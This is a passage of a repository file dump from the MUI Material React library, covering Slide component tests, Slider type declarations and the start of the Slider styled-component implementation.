 transitionDuration: `${enteringScreenDurationInSeconds}s`,\n      });\n    });\n\n    it.skipIf(isJsdom())('should render the custom theme values', function test() {\n      const theme = createTheme({\n        transitions: {\n          duration: {\n            enteringScreen: 1,\n          },\n        },\n      });\n\n      render(\n        <ThemeProvider theme={theme}>\n          <Slide in appear>\n            <div data-testid=\"child\">Foo</div>\n          </Slide>\n        </ThemeProvider>,\n      );\n\n      const child = screen.getByTestId('child');\n      expect(child).toHaveComputedStyle({ transitionDuration: '0.001s' });\n    });\n  });\n\n  describe('prop: easing', () => {\n    it('should create proper enter animation', () => {\n      const handleEntering = spy();\n\n      render(\n        <Slide\n          {...defaultProps}\n          easing={{\n            enter: 'cubic-bezier(1, 1, 0, 0)',\n          }}\n          onEntering={handleEntering}\n        />,\n      );\n\n      expect(handleEntering.args[0][0].style.transition).to.match(\n        /transform 225ms cubic-bezier\\(1, 1, 0, 0\\)( 0ms)?/,\n      );\n    });\n\n    it('should create proper exit animation', () => {\n      const handleExit = spy();\n      const { setProps } = render(\n        <Slide\n          {...defaultProps}\n          easing={{\n            exit: 'cubic-bezier(0, 0, 1, 1)',\n          }}\n          onExit={handleExit}\n        />,\n      );\n\n      setProps({ in: false });\n\n      expect(handleExit.args[0][0].style.transition).to.match(\n        /transform 195ms cubic-bezier\\(0, 0, 1, 1\\)( 0ms)?/,\n      );\n    });\n\n    it.skipIf(!isJsdom())('should render the default theme values by default', function test() {\n      const theme = createTheme();\n      const handleEntering = spy();\n      render(<Slide {...defaultProps} onEntering={handleEntering} />);\n\n      expect(handleEntering.args[0][0].style.transition).to.equal(\n        `transform 225ms ${theme.transitions.easing.easeOut} 0ms`,\n      );\n    });\n\n    it.skipIf(!isJsdom())('should render the custom theme values', function test() {\n      const theme = createTheme({\n        transitions: {\n          easing: {\n            easeOut: 'cubic-bezier(1, 1, 1, 1)',\n          },\n        },\n      });\n\n      const handleEntering = spy();\n      render(\n        <ThemeProvider theme={theme}>\n          <Slide {...defaultProps} onEntering={handleEntering} />\n        </ThemeProvider>,\n      );\n\n      expect(handleEntering.args[0][0].style.transition).to.equal(\n        `transform 225ms ${theme.transitions.easing.easeOut} 0ms`,\n      );\n    });\n  });\n\n  describe('prop: direction', () => {\n    it('should update the position', () => {\n      const { container, setProps } = render(\n        <Slide {...defaultProps} in={false} direction=\"left\" />,\n      );\n      const child = container.querySelector('#testChild');\n\n      const transition1 = child.style.transform;\n      setProps({\n        direction: 'right',\n      });\n\n      const transition2 = child.style.transform;\n      expect(transition1).not.to.equal(transition2);\n    });\n  });\n\n  describe('transform styling', () => {\n    const RealDiv = React.forwardRef(({ rect, ...props }, ref) => {\n      return (\n        <div {...props} style={{ height: 300, width: 500, background: 'red', ...rect }} ref={ref} />\n      );\n    });\n    const FakeDiv = React.forwardRef(({ rect, ...props }, ref) => {\n      const stubBoundingClientRect = (element) => {\n        if (element !== null) {\n          element.fakeTransform = 'none';\n          try {\n            stub(element, 'getBoundingClientRect').callsFake(() => {\n              const r = {\n                width: 500,\n                height: 300,\n                left: 300,\n                right: 800,\n                top: 200,\n                bottom: 500,\n                ...rect,\n              };\n              return r;\n            });\n          } catch (error) {\n            // already stubbed\n          }\n        }\n      };\n      const handleRef = useForkRef(ref, stubBoundingClientRect);\n      return <RealDiv {...props} ref={handleRef} />;\n    });\n\n    describe('handleEnter()', () => {\n      it('should set element transform and transition in the `left` direction', () => {\n        let nodeEnterTransformStyle;\n        const { setProps } = render(\n          <Slide\n            direction=\"left\"\n            onEnter={(node) => {\n              nodeEnterTransformStyle = node.style.transform;\n            }}\n          >\n            <FakeDiv />\n          </Slide>,\n        );\n\n        setProps({ in: true });\n\n        expect(nodeEnterTransformStyle).to.equal(`translateX(${globalThis.innerWidth - 300}px)`);\n      });\n\n      it('should set element transform and transition in the `right` direction', () => {\n        let nodeEnterTransformStyle;\n        const { setProps } = render(\n          <Slide\n            direction=\"right\"\n            onEnter={(node) => {\n              nodeEnterTransformStyle = node.style.transform;\n            }}\n          >\n            <FakeDiv />\n          </Slide>,\n        );\n\n        setProps({ in: true });\n\n        expect(nodeEnterTransformStyle).to.equal(`translateX(-${300 + 500}px)`);\n      });\n\n      it('should set element transform and transition in the `up` direction', () => {\n        let nodeEnterTransformStyle;\n        const { setProps } = render(\n          <Slide\n            direction=\"up\"\n            onEnter={(node) => {\n              nodeEnterTransformStyle = node.style.transform;\n            }}\n          >\n            <FakeDiv />\n          </Slide>,\n        );\n\n        setProps({ in: true });\n\n        expect(nodeEnterTransformStyle).to.equal(`translateY(${globalThis.innerHeight - 200}px)`);\n      });\n\n      it('should set element transform and transition in the `down` direction', () => {\n        let nodeEnterTransformStyle;\n        const { setProps } = render(\n          <Slide\n            direction=\"down\"\n            onEnter={(node) => {\n              nodeEnterTransformStyle = node.style.transform;\n            }}\n          >\n            <FakeDiv />\n          </Slide>,\n        );\n\n        setProps({ in: true });\n\n        expect(nodeEnterTransformStyle).to.equal('translateY(-500px)');\n      });\n\n      it('should reset the previous transition if needed', () => {\n        const childRef = React.createRef();\n        let nodeEnterTransformStyle;\n        const { setProps } = render(\n          <Slide\n            direction=\"right\"\n            onEnter={(node) => {\n              nodeEnterTransformStyle = node.style.transform;\n            }}\n          >\n            <FakeDiv ref={childRef} />\n          </Slide>,\n        );\n\n        childRef.current.style.transform = 'translateX(-800px)';\n        setProps({ in: true });\n\n        expect(nodeEnterTransformStyle).to.equal('translateX(-800px)');\n      });\n\n      it('should set element transform in the `up` direction when element is offscreen', () => {\n        const childRef = React.createRef();\n        let nodeEnterTransformStyle;\n        const { setProps } = render(\n          <Slide\n            direction=\"up\"\n            onEnter={(node) => {\n              nodeEnterTransformStyle = node.style.transform;\n            }}\n          >\n            <FakeDiv rect={{ top: -100 }} ref={childRef} />\n          </Slide>,\n        );\n\n        setProps({ in: true });\n\n        expect(nodeEnterTransformStyle).to.equal(`translateY(${globalThis.innerHeight + 100}px)`);\n      });\n\n      it('should set element transform in the `left` direction when element is offscreen', () => {\n        const childRef = React.createRef();\n        let nodeEnterTransformStyle;\n        const { setProps } = render(\n          <Slide\n            direction=\"left\"\n            onEnter={(node) => {\n              nodeEnterTransformStyle = node.style.transform;\n            }}\n          >\n            <FakeDiv rect={{ left: -100 }} ref={childRef} />\n          </Slide>,\n        );\n\n        setProps({ in: true });\n\n        expect(nodeEnterTransformStyle).to.equal(`translateX(${globalThis.innerWidth + 100}px)`);\n      });\n    });\n\n    describe('handleExiting()', () => {\n      it('should set element transform and transition in the `left` direction', () => {\n        let nodeExitingTransformStyle;\n        const { setProps } = render(\n          <Slide\n            direction=\"left\"\n            in\n            onExit={(node) => {\n              nodeExitingTransformStyle = node.style.transform;\n            }}\n          >\n            <FakeDiv />\n          </Slide>,\n        );\n\n        setProps({ in: false });\n\n        expect(nodeExitingTransformStyle).to.equal(`translateX(${globalThis.innerWidth - 300}px)`);\n      });\n\n      it('should set element transform and transition in the `right` direction', () => {\n        let nodeExitingTransformStyle;\n        const { setProps } = render(\n          <Slide\n            direction=\"right\"\n            in\n            onExit={(node) => {\n              nodeExitingTransformStyle = node.style.transform;\n            }}\n          >\n            <FakeDiv />\n          </Slide>,\n        );\n\n        setProps({ in: false });\n\n        expect(nodeExitingTransformStyle).to.equal('translateX(-800px)');\n      });\n\n      it('should set element transform and transition in the `up` direction', () => {\n        let nodeExitingTransformStyle;\n        const { setProps } = render(\n          <Slide\n            direction=\"up\"\n            in\n            onExit={(node) => {\n              nodeExitingTransformStyle = node.style.transform;\n            }}\n          >\n            <FakeDiv />\n          </Slide>,\n        );\n\n        setProps({ in: false });\n\n        expect(nodeExitingTransformStyle).to.equal(`translateY(${globalThis.innerHeight - 200}px)`);\n      });\n\n      it('should set element transform and transition in the `down` direction', () => {\n        let nodeExitingTransformStyle;\n        const { setProps } = render(\n          <Slide\n            direction=\"down\"\n            in\n            onExit={(node) => {\n              nodeExitingTransformStyle = node.style.transform;\n            }}\n          >\n            <FakeDiv />\n          </Slide>,\n        );\n\n        setProps({ in: false });\n\n        expect(nodeExitingTransformStyle).to.equal('translateY(-500px)');\n      });\n    });\n\n    describe('prop: container', () => {\n      // Need layout\n      it.skipIf(isJsdom())(\n        'should set element transform and transition in the `up` direction',\n        async function test() {\n          let nodeExitingTransformStyle;\n          const height = 200;\n          function Test(props) {\n            const [container, setContainer] = React.useState(null);\n            return (\n              <div\n                ref={(node) => {\n                  setContainer(node);\n                }}\n                style={{ height, width: 200 }}\n              >\n                <Slide\n                  direction=\"up\"\n                  in\n                  {...props}\n                  container={container}\n                  onExit={(node) => {\n                    nodeExitingTransformStyle = node.style.transform;\n                  }}\n                >\n                  <RealDiv rect={{ top: 8 }} />\n                </Slide>\n              </div>\n            );\n          }\n          const { setProps } = render(<Test />);\n          setProps({ in: false });\n          expect(nodeExitingTransformStyle).to.equal(`translateY(${height}px)`);\n        },\n      );\n    });\n\n    describe('mount', () => {\n      it('should work when initially hidden', () => {\n        const childRef = React.createRef();\n        render(\n          <Slide in={false}>\n            <div ref={childRef}>Foo</div>\n          </Slide>,\n        );\n        const transition = childRef.current;\n\n        expect(transition.style.visibility).to.equal('hidden');\n        expect(transition.style.transform).not.to.equal(undefined);\n      });\n    });\n\n    describe('resize', () => {\n      clock.withFakeTimers();\n\n      it('should recompute the correct position', () => {\n        const { container } = render(\n          <Slide direction=\"up\" in={false}>\n            <div id=\"testChild\">Foo</div>\n          </Slide>,\n        );\n\n        act(() => {\n          window.dispatchEvent(new window.Event('resize', {}));\n        });\n        clock.tick(166);\n\n        const child = container.querySelector('#testChild');\n        expect(child.style.transform).not.to.equal(undefined);\n      });\n\n      it('should take existing transform into account', () => {\n        const element = {\n          fakeTransform: 'transform matrix(1, 0, 0, 1, 0, 420)',\n          getBoundingClientRect: () => ({\n            width: 500,\n            height: 300,\n            left: 300,\n            right: 800,\n            top: 1200,\n            bottom: 1500,\n          }),\n          style: {},\n        };\n        setTranslateValue('up', element);\n        expect(element.style.transform).to.equal(`translateY(${globalThis.innerHeight - 780}px)`);\n      });\n\n      it('should do nothing when visible', () => {\n        render(<Slide {...defaultProps} />);\n        act(() => {\n          window.dispatchEvent(new window.Event('resize', {}));\n        });\n        clock.tick(166);\n      });\n    });\n  });\n\n  describe('server-side', () => {\n    it('should be initially hidden', () => {\n      const { container } = render(\n        <Slide {...defaultProps} in={false}>\n          <div id=\"with-slide\" />\n        </Slide>,\n      );\n\n      const slide = container.querySelector('#with-slide');\n\n      expect(slide.style).to.have.property('visibility', 'hidden');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Slide/index.d.ts",
    "content": "export { default } from './Slide';\nexport * from './Slide';\n"
  },
  {
    "path": "packages/mui-material/src/Slide/index.js",
    "content": "export { default } from './Slide';\n"
  },
  {
    "path": "packages/mui-material/src/Slider/Slider.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Mark } from './useSlider.types';\nimport { CreateSlotsAndSlotProps, SlotComponentProps, SlotProps } from '../utils/types';\nimport { Theme } from '../styles';\nimport { OverrideProps, OverridableComponent } from '../OverridableComponent';\nimport SliderValueLabelComponent from './SliderValueLabel';\nimport { SliderClasses } from './sliderClasses';\n\nexport interface SliderPropsColorOverrides {}\n\nexport interface SliderPropsSizeOverrides {}\n\nexport interface SliderSlots {\n  /**\n   * The component that renders the root.\n   * @default 'span'\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the track.\n   * @default 'span'\n   */\n  track: React.ElementType;\n  /**\n   * The component that renders the rail.\n   * @default 'span'\n   */\n  rail: React.ElementType;\n  /**\n   * The component that renders the thumb.\n   * @default 'span'\n   */\n  thumb: React.ElementType;\n  /**\n   * The component that renders the mark.\n   * @default 'span'\n   */\n  mark: React.ElementType;\n  /**\n   * The component that renders the mark label.\n   * @default 'span'\n   */\n  markLabel: React.ElementType;\n  /**\n   * The component that renders the value label.\n   * @default SliderValueLabel\n   */\n  valueLabel: React.ElementType;\n  /**\n   * The component that renders the input.\n   * @default 'input'\n   */\n  input: React.ElementType;\n}\n\nexport interface SliderRootSlotPropsOverrides {}\nexport interface SliderTrackSlotPropsOverrides {}\nexport interface SliderRailSlotPropsOverrides {}\nexport interface SliderThumbSlotPropsOverrides {}\nexport interface SliderMarkSlotPropsOverrides {}\nexport interface SliderMarkLabelSlotPropsOverrides {}\nexport interface SliderValueLabelSlotPropsOverrides {}\nexport interface SliderInputSlotPropsOverrides {}\n\nexport type SliderSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  SliderSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the span element.\n     */\n    root: SlotProps<'span', SliderRootSlotPropsOverrides, SliderOwnerState>;\n    /**\n     * Props forwarded to the track slot.\n     * By default, the available props are based on the span element.\n     */\n    track: SlotProps<'span', SliderTrackSlotPropsOverrides, SliderOwnerState>;\n    /**\n     * Props forwarded to the rail slot.\n     * By default, the available props are based on the span element.\n     */\n    rail: SlotProps<'span', SliderRailSlotPropsOverrides, SliderOwnerState>;\n    /**\n     * Props forwarded to the thumb slot.\n     * By default, the available props are based on the span element.\n     */\n    thumb: SlotProps<'span', SliderThumbSlotPropsOverrides, SliderOwnerState>;\n    /**\n     * Props forwarded to the mark slot.\n     * By default, the available props are based on the span element.\n     */\n    mark: SlotProps<'span', SliderMarkSlotPropsOverrides, SliderOwnerState>;\n    /**\n     * Props forwarded to the mark label slot.\n     * By default, the available props are based on the span element.\n     */\n    markLabel: SlotProps<'span', SliderMarkLabelSlotPropsOverrides, SliderOwnerState>;\n    /**\n     * Props forwarded to the value label slot.\n     * By default, the available props are based on the [SliderValueLabel](https://next.mui.com/material-ui/api/slider/) component.\n     */\n    valueLabel: SlotComponentProps<\n      typeof SliderValueLabelComponent,\n      SliderValueLabelSlotPropsOverrides,\n      SliderOwnerState\n    >;\n    /**\n     * Props forwarded to the input slot.\n     * By default, the available props are based on the input element.\n     */\n    input: SlotProps<'input', SliderInputSlotPropsOverrides, SliderOwnerState>;\n  }\n>;\n\nexport interface SliderOwnerState extends SliderProps {\n  dragging: boolean;\n  marked: boolean;\n  focusedThumbIndex: number;\n}\n\nexport interface SliderOwnProps<Value extends number | readonly number[]> {\n  /**\n   * The label of the slider.\n   */\n  'aria-label'?: string | undefined;\n  /**\n   * The id of the element containing a label for the slider.\n   */\n  'aria-labelledby'?: string | undefined;\n  /**\n   * A string value that provides a user-friendly name for the current value of the slider.\n   */\n  'aria-valuetext'?: string | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color?:\n    | OverridableStringUnion<\n        'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning',\n        SliderPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<SliderClasses> | undefined;\n  /**\n   * @ignore\n   */\n  className?: string | undefined;\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue?: Value | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the active thumb doesn't swap when moving pointer over a thumb while dragging another thumb.\n   * @default false\n   */\n  disableSwap?: boolean | undefined;\n  /**\n   * Accepts a function which returns a string value that provides a user-friendly name for the thumb labels of the slider.\n   * This is important for screen reader users.\n   * @param {number} index The thumb label's index to format.\n   * @returns {string}\n   */\n  getAriaLabel?: ((index: number) => string) | undefined;\n  /**\n   * Accepts a function which returns a string value that provides a user-friendly name for the current value of the slider.\n   * This is important for screen reader users.\n   * @param {number} value The thumb label's value to format.\n   * @param {number} index The thumb label's index to format.\n   * @returns {string}\n   */\n  getAriaValueText?: ((value: number, index: number) => string) | undefined;\n  /**\n   * Marks indicate predetermined values to which the user can move the slider.\n   * If `true` the marks are spaced according the value of the `step` prop.\n   * If an array, it should contain objects with `value` and an optional `label` keys.\n   * @default false\n   */\n  marks?: boolean | readonly Mark[] | undefined;\n  /**\n   * The maximum allowed value of the slider.\n   * Should not be equal to min.\n   * @default 100\n   */\n  max?: number | undefined;\n  /**\n   * The minimum allowed value of the slider.\n   * Should not be equal to max.\n   * @default 0\n   */\n  min?: number | undefined;\n  /**\n   * Name attribute of the hidden `input` element.\n   */\n  name?: string | undefined;\n  /**\n   * Callback function that is fired when the slider's value changed.\n   *\n   * @param {Event} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (any).\n   * **Warning**: This is a generic event not a change event.\n   * @param {Value} value The new value.\n   * @param {number} activeThumb Index of the currently moved thumb.\n   */\n  onChange?: ((event: Event, value: Value, activeThumb: number) => void) | undefined;\n  /**\n   * Callback function that is fired when the `mouseup` is triggered.\n   *\n   * @param {React.SyntheticEvent | Event} event The event source of the callback. **Warning**: This is a generic event not a change event.\n   * @param {Value} value The new value.\n   */\n  onChangeCommitted?: ((event: React.SyntheticEvent | Event, value: Value) => void) | undefined;\n  /**\n   * The component orientation.\n   * @default 'horizontal'\n   */\n  orientation?: 'horizontal' | 'vertical' | undefined;\n  /**\n   * A transformation function, to change the scale of the slider.\n   * @param {any} x\n   * @returns {any}\n   * @default function Identity(x) {\n   *   return x;\n   * }\n   */\n  scale?: ((value: number) => number) | undefined;\n  /**\n   * The granularity with which the slider can step through values when using Page Up/Page Down or Shift + Arrow Up/Arrow Down.\n   * @default 10\n   */\n  shiftStep?: number | undefined;\n  /**\n   * The size of the slider.\n   * @default 'medium'\n   */\n  size?: OverridableStringUnion<'small' | 'medium', SliderPropsSizeOverrides> | undefined;\n  /**\n   * The granularity with which the slider can step through values. (A \"discrete\" slider.)\n   * The `min` prop serves as the origin for the valid values.\n   * We recommend (max - min) to be evenly divisible by the step.\n   *\n   * When step is `null`, the thumb can only be slid onto marks provided with the `marks` prop.\n   * @default 1\n   */\n  step?: number | null | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * Tab index attribute of the hidden `input` element.\n   */\n  tabIndex?: number | undefined;\n  /**\n   * The track presentation:\n   *\n   * - `normal` the track will render a bar representing the slider value.\n   * - `inverted` the track will render a bar representing the remaining slider value.\n   * - `false` the track will render without a bar.\n   * @default 'normal'\n   */\n  track?: 'normal' | false | 'inverted' | undefined;\n  /**\n   * The value of the slider.\n   * For ranged sliders, provide an array with two values.\n   */\n  value?: Value | undefined;\n  /**\n   * Controls when the value label is displayed:\n   *\n   * - `auto` the value label will display when the thumb is hovered or focused.\n   * - `on` will display persistently.\n   * - `off` will never display.\n   * @default 'off'\n   */\n  valueLabelDisplay?: 'on' | 'auto' | 'off' | undefined;\n  /**\n   * The format function the value label's value.\n   *\n   * When a function is provided, it should have the following signature:\n   *\n   * - {number} value The value label's value to format\n   * - {number} index The value label's index to format\n   * @param {any} x\n   * @returns {any}\n   * @default function Identity(x) {\n   *   return x;\n   * }\n   */\n  valueLabelFormat?: string | ((value: number, index: number) => React.ReactNode) | undefined;\n}\n\nexport interface SliderTypeMap<\n  RootComponent extends React.ElementType = 'span',\n  AdditionalProps = {},\n  Value extends number | readonly number[] = number | number[],\n> {\n  props: AdditionalProps & SliderOwnProps<Value> & SliderSlotsAndSlotProps;\n  defaultComponent: RootComponent;\n}\n\nexport type SliderComponent<Value extends number | readonly number[]> = OverridableComponent<\n  SliderTypeMap<'span', {}, Value>\n>;\n\nexport type SliderType = SliderComponent<number> &\n  SliderComponent<number[]> &\n  SliderComponent<readonly number[]> &\n  SliderComponent<number | number[]>;\n\nexport interface SliderValueLabelProps extends React.HTMLAttributes<HTMLSpanElement> {\n  children: React.ReactElement<unknown>;\n  index: number;\n  open: boolean;\n  value: React.ReactNode;\n}\n\ntype SliderRootProps = NonNullable<SliderTypeMap['props']['slotProps']>['root'];\ntype SliderMarkProps = NonNullable<SliderTypeMap['props']['slotProps']>['mark'];\ntype SliderMarkLabelProps = NonNullable<SliderTypeMap['props']['slotProps']>['markLabel'];\ntype SliderRailProps = NonNullable<SliderTypeMap['props']['slotProps']>['rail'];\ntype SliderTrackProps = NonNullable<SliderTypeMap['props']['slotProps']>['track'];\ntype SliderThumbProps = NonNullable<SliderTypeMap['props']['slotProps']>['thumb'];\n\nexport declare const SliderRoot: React.FC<SliderRootProps>;\nexport declare const SliderMark: React.FC<SliderMarkProps>;\nexport declare const SliderMarkLabel: React.FC<SliderMarkLabelProps>;\nexport declare const SliderRail: React.FC<SliderRailProps>;\nexport declare const SliderTrack: React.FC<SliderTrackProps>;\nexport declare const SliderThumb: React.FC<SliderThumbProps>;\nexport declare const SliderValueLabel: React.FC<SliderValueLabelProps>;\n\n/**\n *\n * Demos:\n *\n * - [Slider](https://next.mui.com/material-ui/react-slider/)\n *\n * API:\n *\n * - [Slider API](https://next.mui.com/material-ui/api/slider/)\n */\ndeclare const Slider: SliderType;\n\nexport type SliderProps<\n  RootComponent extends React.ElementType = SliderTypeMap['defaultComponent'],\n  AdditionalProps = {},\n  Value extends number | readonly number[] = number | number[],\n> = OverrideProps<SliderTypeMap<RootComponent, AdditionalProps, Value>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Slider;\n"
  },
  {
    "path": "packages/mui-material/src/Slider/Slider.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { useRtl } from '@mui/system/RtlProvider';\nimport isHostComponent from '@mui/utils/isHostComponent';\nimport { useSlider, valueToPercent } from './useSlider';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport useSlot from '../utils/useSlot';\nimport slotShouldForwardProp from '../styles/slotShouldForwardProp';\nimport capitalize from '../utils/capitalize';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport BaseSliderValueLabel from './SliderValueLabel';\nimport sliderClasses, { getSliderUtilityClass } from './sliderClasses';\n\nfunction Identity(x) {\n  return x;\n}\n\nexport const SliderRoot = styled('span', {\n  name: 'MuiSlider',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[`color${capitalize(ownerState.color)}`],\n      ownerState.size !== 'medium' && styles[`size${capitalize(ownerState.size)}`],\n      ownerState.marked && styles.marked,\n      ownerState.orientation === 'vertical' && styles.vertical,\n      ownerState.track === 'inverted' && styles.trackInverted,\n      ownerState.track === false && styles.trackFalse,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    borderRadius: 12,\n    boxSizing: 'content-box',\n    display: 'inline-block',\n    position: 'relative',\n    cursor: 'pointer',\n    touchAction: 'none',\n    WebkitTapHighlightColor: 'transparent',\n    '@media print': {\n      colorAdjust: 'exact',\n    },\n    [`&.${sliderClasses.disabled}`]: {\n      pointerEvents: 'none',\n      cursor: 'default',\n      color: (theme.vars || theme).palette.grey[400],\n    },\n    [`&.${sliderClasses.dragging}`]: {\n      [`& .${sliderClasses.thumb}, & .${sliderClasses.track}`]: {\n        transition: 'none',\n      },\n    },\n    variants: [\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            color: (theme.vars || theme).palette[color].main,\n          },\n        })),\n      {\n        props: { orientation: 'horizontal' },\n        style: {\n          height: 4,\n          width: '100%',\n          padding: '13px 0',\n          // The primary input mechanism of the device includes a pointing device of limited accuracy.\n          '@media (pointer: coarse)': {\n            // Reach 42px touch target, about ~8mm on screen.\n            padding: '20px 0',\n          },\n        },\n      },\n      {\n        props: { orientation: 'horizontal', size: 'small' },\n        style: {\n          height: 2,\n        },\n      },\n      {\n        props: { orientation: 'horizontal', marked: true },\n        style: {\n          marginBottom: 20,\n        },\n      },\n      {\n        props: { orientation: 'vertical' },\n        style: {\n          height: '100%',\n          width: 4,\n          padding: '0 13px',\n          // The primary input mechanism of the device includes a pointing device of limited accuracy.\n          '@media (pointer: coarse)': {\n            // Reach 42px touch target, about ~8mm on screen.\n            padding: '0 20px',\n          },\n        },\n      },\n      {\n        props: { orientation: 'vertical', size: 'small' },\n        style: {\n          width: 2,\n        },\n      },\n      {\n        props: { orientation: 'vertical', marked: true },\n        style: {\n          marginRight: 44,\n        },\n      },\n    ],\n  })),\n);\n\nexport const SliderRail = styled('span', {\n  name: 'MuiSlider',\n  slot: 'Rail',\n})({\n  display: 'block',\n  position: 'absolute',\n  borderRadius: 'inherit',\n  backgroundColor: 'currentColor',\n  opacity: 0.38,\n  variants: [\n    {\n      props: { orientation: 'horizontal' },\n      style: {\n        width: '100%',\n        height: 'inherit',\n        top: '50%',\n        transform: 'translateY(-50%)',\n      },\n    },\n    {\n      props: { orientation: 'vertical' },\n      style: {\n        height: '100%',\n        width: 'inherit',\n        left: '50%',\n        transform: 'translateX(-50%)',\n      },\n    },\n    {\n      props: { track: 'inverted' },\n      style: {\n        opacity: 1,\n      },\n    },\n  ],\n});\n\nexport const SliderTrack = styled('span', {\n  name: 'MuiSlider',\n  slot: 'Track',\n})(\n  memoTheme(({ theme }) => {\n    return {\n      display: 'block',\n      position: 'absolute',\n      borderRadius: 'inherit',\n      border: '1px solid currentColor',\n      backgroundColor: 'currentColor',\n      transition: theme.transitions.create(['left', 'width', 'bottom', 'height'], {\n        duration: theme.transitions.duration.shortest,\n      }),\n      variants: [\n        {\n          props: { size: 'small' },\n          style: {\n            border: 'none',\n          },\n        },\n        {\n          props: { orientation: 'horizontal' },\n          style: {\n            height: 'inherit',\n            top: '50%',\n            transform: 'translateY(-50%)',\n          },\n        },\n        {\n          props: { orientation: 'vertical' },\n          style: {\n            width: 'inherit',\n            left: '50%',\n            transform: 'translateX(-50%)',\n          },\n        },\n        {\n          props: { track: false },\n          style: {\n            display: 'none',\n          },\n        },\n        ...Object.entries(theme.palette)\n          .filter(createSimplePaletteValueFilter())\n          .map(([color]) => ({\n            props: { color, track: 'inverted' },\n            style: {\n              ...(theme.vars\n                ? {\n                    backgroundColor: theme.vars.palette.Slider[`${color}Track`],\n                    borderColor: theme.vars.palette.Slider[`${color}Track`],\n                  }\n                : {\n                    backgroundColor: theme.lighten(theme.palette[color].main, 0.62),\n                    borderColor: theme.lighten(theme.palette[color].main, 0.62),\n                    ...theme.applyStyles('dark', {\n                      backgroundColor: theme.darken(theme.palette[color].main, 0.5),\n                    }),\n                    ...theme.applyStyles('dark', {\n                      borderColor: theme.darken(theme.palette[color].main, 0.5),\n                    }),\n                  }),\n            },\n          })),\n      ],\n    };\n  }),\n);\n\nexport const SliderThumb = styled('span', {\n  name: 'MuiSlider',\n  slot: 'Thumb',\n})(\n  memoTheme(({ theme }) => ({\n    position: 'absolute',\n    width: 20,\n    height: 20,\n    boxSizing: 'border-box',\n    borderRadius: '50%',\n    outline: 0,\n    backgroundColor: 'currentColor',\n    display: 'flex',\n    alignItems: 'center',\n    justifyContent: 'center',\n    transition: theme.transitions.create(['box-shadow', 'left', 'bottom'], {\n      duration: theme.transitions.duration.shortest,\n    }),\n    '&::before': {\n      position: 'absolute',\n      content: '\"\"',\n      borderRadius: 'inherit',\n      width: '100%',\n      height: '100%',\n      boxShadow: (theme.vars || theme).shadows[2],\n    },\n    '&::after': {\n      position: 'absolute',\n      content: '\"\"',\n      borderRadius: '50%',\n      // 42px is the hit target\n      width: 42,\n      height: 42,\n      top: '50%',\n      left: '50%',\n      transform: 'translate(-50%, -50%)',\n    },\n    [`&.${sliderClasses.disabled}`]: {\n      '&:hover': {\n        boxShadow: 'none',\n      },\n    },\n    variants: [\n      {\n        props: { size: 'small' },\n        style: {\n          width: 12,\n          height: 12,\n          '&::before': {\n            boxShadow: 'none',\n          },\n        },\n      },\n      {\n        props: { orientation: 'horizontal' },\n        style: {\n          top: '50%',\n          transform: 'translate(-50%, -50%)',\n        },\n      },\n      {\n        props: { orientation: 'vertical' },\n        style: {\n          left: '50%',\n          transform: 'translate(-50%, 50%)',\n        },\n      },\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            [`&:hover, &.${sliderClasses.focusVisible}`]: {\n              boxShadow: `0px 0px 0px 8px ${theme.alpha((theme.vars || theme).palette[color].main, 0.16)}`,\n              '@media (hover: none)': {\n                boxShadow: 'none',\n              },\n            },\n            [`&.${sliderClasses.active}`]: {\n              boxShadow: `0px 0px 0px 14px ${theme.alpha((theme.vars || theme).palette[color].main, 0.16)}`,\n            },\n          },\n        })),\n    ],\n  })),\n);\n\nconst SliderValueLabel = styled(BaseSliderValueLabel, {\n  name: 'MuiSlider',\n  slot: 'ValueLabel',\n})(\n  memoTheme(({ theme }) => ({\n    zIndex: 1,\n    whiteSpace: 'nowrap',\n    ...theme.typography.body2,\n    fontWeight: 500,\n    transition: theme.transitions.create(['transform'], {\n      duration: theme.transitions.duration.shortest,\n    }),\n    position: 'absolute',\n    backgroundColor: (theme.vars || theme).palette.grey[600],\n    borderRadius: 2,\n    color: (theme.vars || theme).palette.common.white,\n    display: 'flex',\n    alignItems: 'center',\n    justifyContent: 'center',\n    padding: '0.25rem 0.75rem',\n    variants: [\n      {\n        props: { orientation: 'horizontal' },\n        style: {\n          transform: 'translateY(-100%) scale(0)',\n          top: '-10px',\n          transformOrigin: 'bottom center',\n          '&::before': {\n            position: 'absolute',\n            content: '\"\"',\n            width: 8,\n            height: 8,\n            transform: 'translate(-50%, 50%) rotate(45deg)',\n            backgroundColor: 'inherit',\n            bottom: 0,\n            left: 